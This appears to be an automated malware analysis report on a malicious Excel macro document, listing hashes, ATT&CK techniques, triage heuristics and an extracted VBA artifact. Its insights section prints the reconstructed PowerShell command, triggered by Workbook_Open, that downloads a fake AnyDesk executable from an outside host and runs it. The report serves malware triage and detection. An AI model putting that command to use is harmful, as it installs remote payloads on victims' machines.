Office (OLE) / .XLS malware analysis — malicious · 79aa91c1856cbb85

MALICIOUS

Office (OLE) / .XLS

73.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: 58d5780cfb5c290fdd10d9359a438aff SHA-1: 6283eac654d5883b90241db9dff2571ca3de0a7f SHA-256: 79aa91c1856cbb85044fdc3c8ef28b19f30ff3951c4fd94a4d40ebaf86f0b912

180 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer

The Workbook_Open macro executes a command that constructs a PowerShell command line. This command line downloads a file from 'http://thepunchlineexpose.com/Manager/AnyDesk.exe' and saves it as 'C:\Users\Public\Documents\weekshe.exe'. The macro then attempts to execute this downloaded file. The reconstructed command line is: 'powershell -w hi sleep -Se 31;Start-BitsTransfer -Source http://thepunchlineexpose.com/Manager/AnyDesk.exe -Destination C:\Users\Public\Documents\weekshe.exe;C:\Users\Public\Documents\weekshe.exe'.

Heuristics 5

Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `d5387914e198af7231991211bf5d0f562a3477459899e11bf62650de3f4f0162`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1170 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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